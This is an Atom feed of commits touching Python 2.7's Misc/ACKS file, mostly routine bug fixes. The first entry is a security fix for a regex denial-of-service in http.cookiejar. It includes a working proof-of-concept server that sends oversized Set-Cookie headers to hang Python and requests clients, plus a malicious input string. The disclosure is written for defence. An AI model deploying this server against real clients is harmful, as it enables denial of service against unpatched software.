<feed xmlns='http://www.w3.org/2005/Atom'>
<title>python.git/Misc/ACKS, branch 2.7</title>
<subtitle>Unnamed repository; edit this file 'description' to name the repository.</subtitle>
<id>http://dangofactory.net/cgit/cgit.cgi/Server/python.git/atom/Misc/ACKS?h=2.7</id>
<link rel='self' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/atom/Misc/ACKS?h=2.7'/>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/'/>
<updated>2019-11-24T15:49:23Z</updated>
<entry>
<title>bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (GH-17345)</title>
<updated>2019-11-24T15:49:23Z</updated>
<author>
<name>Victor Stinner</name>
<email>vstinner@python.org</email>
</author>
<published>2019-11-24T15:49:23Z</published>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/commit/?id=e6499033032d5b647e43a3b49da0c1c64b151743'/>
<id>urn:sha1:e6499033032d5b647e43a3b49da0c1c64b151743</id>
<content type='text'>
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).

LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.

The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to

    \d+-\w+-\d+(\s*\s*\s*)$

Therefore, a long sequence of spaces can trigger bad performance.

Matching a malicious string such as

    LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")

caused catastrophic backtracking.

The fix removes ambiguity about which \s* should match a particular
space.

You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.

    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_set_cookie_value(n_spaces):
        spaces = " " * n_spaces
        expiry = f"1-c-1{spaces}!"
        return f"b;Expires={expiry}"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.log_request(204)
            self.send_response_only(204)  # Don't bother sending Server and Date
            n_spaces = (
                int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
                if len(self.path) &gt; 1 else
                65506  # Max header line length 65536
            )
            value = make_set_cookie_value(n_spaces)
            for i in range(99):  # Not necessary, but we can have up to 100 header lines
                self.send_header("Set-Cookie", value)
            self.end_headers()

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()

This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :

    import http.cookiejar, urllib.request
    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    r = opener.open("http://localhost:44020/")

The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):

    import requests
    requests.get("http://localhost:44020/")

* Regression test for http.cookiejar REDoS

If we regress, this test will take a very long time.

* Improve performance of http.cookiejar.ISO_DATE_RE

A string like

"444444" + (" " * 2000) + "A"

could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.

(cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e)</content>
</entry>
<entry>
<title>bpo-36713: Rename duplicated method in test_unicode. (#13525)</title>
<updated>2019-05-23T14:42:50Z</updated>
<author>
<name>Michele Angrisano</name>
<email>michele.angrisano@gmail.com</email>
</author>
<published>2019-05-23T14:42:50Z</published>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/commit/?id=25d8404c358f3b1cc8321cdc74049d45dcb8d014'/>
<id>urn:sha1:25d8404c358f3b1cc8321cdc74049d45dcb8d014</id>
<content type='text'>
modified:   Lib/ctypes/test/test_unicode.py
 	modified:   Misc/ACKS
 	new file:   Misc/NEWS.d/next/Library/2019-05-23-15-57-36.bpo-36713.sjPhnf.rst</content>
</entry>
<entry>
<title>[2.7] bpo-34472: Add data descriptor signature to zipfile (GH-8871) (ПР-9407)</title>
<updated>2018-09-22T17:48:23Z</updated>
<author>
<name>Serhiy Storchaka</name>
<email>storchaka@gmail.com</email>
</author>
<published>2018-09-22T17:48:23Z</published>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/commit/?id=6ec298114855b648a1f5fc4188ea3686a9d77fb3'/>
<id>urn:sha1:6ec298114855b648a1f5fc4188ea3686a9d77fb3</id>
<content type='text'>
This makes streamed zips compatible with MacOS Archive Utility and
other applications.
(cherry picked from commit 4ba3b50bfe6d50cd82d208023ea23e203ab50589)

Co-authored-by: Silas Sewell &lt;silas@sewell.org&gt;</content>
</entry>
<entry>
<title>[2.7] closes bpo-34050: Fix link in SSL docs (GH-8173). (GH-8179)</title>
<updated>2018-07-07T22:48:07Z</updated>
<author>
<name>Benjamin Peterson</name>
<email>benjamin@python.org</email>
</author>
<published>2018-07-07T22:48:07Z</published>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/commit/?id=3707dfaf45baf867f17bbbc78ccf2f0d13711dbd'/>
<id>urn:sha1:3707dfaf45baf867f17bbbc78ccf2f0d13711dbd</id>
<content type='text'>
(cherry picked from commit 9c5ba097485c8c643b670acd4026f4382bc92f4b)

Co-authored-by: Marcin Niemira &lt;marcin@niemira.net&gt;</content>
</entry>
<entry>
<title>bpo-29456: Fix bugs in unicodedata.normalize: u1176, u11a7 and u11c3 (GH-1958) (GH-7704)</title>
<updated>2018-06-15T13:26:55Z</updated>
<author>
<name>Xiang Zhang</name>
<email>angwerzx@126.com</email>
</author>
<published>2018-06-15T13:26:55Z</published>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/commit/?id=1889c4cbd62e200fa4cde3d6219e0aadf9bd8149'/>
<id>urn:sha1:1889c4cbd62e200fa4cde3d6219e0aadf9bd8149</id>
<content type='text'>
Hangul composition check boundaries are wrong for the second character
([0x1161, 0x1176) instead of [0x1161, 0x1176]) and third character ((0x11A7, 0x11C3)
instead of [0x11A7, 0x11C3])..
(cherry picked from commit d134809cd3764c6a634eab7bb8995e3e2eff14d5)

Co-authored-by: Wonsup Yoon &lt;pusnow@me.com&gt;</content>
</entry>
<entry>
<title>[2.7] bpo-33542: Ignore DUID in uuid.get_node on Windows. (GH-6922) (GH-7015)</title>
<updated>2018-05-20T22:50:33Z</updated>
<author>
<name>Serhiy Storchaka</name>
<email>storchaka@gmail.com</email>
</author>
<published>2018-05-20T22:50:33Z</published>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/commit/?id=ea9a0994cd0f4bd37799b045c34097eb21662b3d'/>
<id>urn:sha1:ea9a0994cd0f4bd37799b045c34097eb21662b3d</id>
<content type='text'>
uuid._ipconfig_getnode did not validate the maximum length of the value,
so long as the value had the same type of formatting as a MAC address.
This let it select DUIDs as MAC addresses. It now requires an exact
length match..
(cherry picked from commit c66c342cb42ab8a88884527ddfe3a5086bc06316)

Co-authored-by: CtrlZvi &lt;viz+github@flippedperspective.com&gt;</content>
</entry>
<entry>
<title>[2.7] bpo-32861: robotparser fix incomplete __str__ methods. (GH-5711) (GH-6795) (GH-6817)</title>
<updated>2018-05-14T22:09:47Z</updated>
<author>
<name>Serhiy Storchaka</name>
<email>storchaka@gmail.com</email>
</author>
<published>2018-05-14T22:09:47Z</published>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/commit/?id=861d38443d4b85cdc7b87afc4adee55f51c2f4b3'/>
<id>urn:sha1:861d38443d4b85cdc7b87afc4adee55f51c2f4b3</id>
<content type='text'>
The robotparser's __str__ representation now includes wildcard
entries.
(cherry picked from commit c3fa1f2b93fa4bf96a8aadc74ee196384cefa31e)

Co-authored-by: Michael Lazar &lt;lazar.michael22@gmail.com&gt;.</content>
</entry>
<entry>
<title>bpo-33038: Fix gzip.GzipFile for file objects with a non-string name attribute. (GH-6095)</title>
<updated>2018-05-09T10:14:40Z</updated>
<author>
<name>Bo Bayles</name>
<email>bbayles@gmail.com</email>
</author>
<published>2018-05-09T10:14:40Z</published>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/commit/?id=afe5f633e49e0e873d42088ae56819609c803ba0'/>
<id>urn:sha1:afe5f633e49e0e873d42088ae56819609c803ba0</id>
<content type='text'>
</content>
</entry>
<entry>
<title>[2.7] bpo-33256: Replace angle brackets around python object repr to display it in html (GH-6442). (GH-6650)</title>
<updated>2018-04-30T08:34:47Z</updated>
<author>
<name>Serhiy Storchaka</name>
<email>storchaka@gmail.com</email>
</author>
<published>2018-04-30T08:34:47Z</published>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/commit/?id=07ad02f62cc336772e12e3fd837579952b03ca57'/>
<id>urn:sha1:07ad02f62cc336772e12e3fd837579952b03ca57</id>
<content type='text'>
(cherry picked from commit 7d68bfa82654ba01d860b8a772ff63bf0bd183ee)

Co-authored-by: sblondon &lt;sblondon@users.noreply.github.com&gt;</content>
</entry>
<entry>
<title>[2.7] bpo-31920: Fixed handling directories as arguments in the ``pygettext`` script. (GH-6259) (GH-6436)</title>
<updated>2018-04-10T08:03:52Z</updated>
<author>
<name>Serhiy Storchaka</name>
<email>storchaka@gmail.com</email>
</author>
<published>2018-04-10T08:03:52Z</published>
<link rel='alternate' type='text/html' href='http://dangofactory.net/cgit/cgit.cgi/Server/python.git/commit/?id=a61f5da54772b0ea6a7eccf21df08e61585ef712'/>
<id>urn:sha1:a61f5da54772b0ea6a7eccf21df08e61585ef712</id>
<content type='text'>
Based on patch by Oleg Krasnikov.
(cherry picked from commit c93938b5beea4c3f592119ebee6d4029558db8de)
</content>
</entry>
</feed>
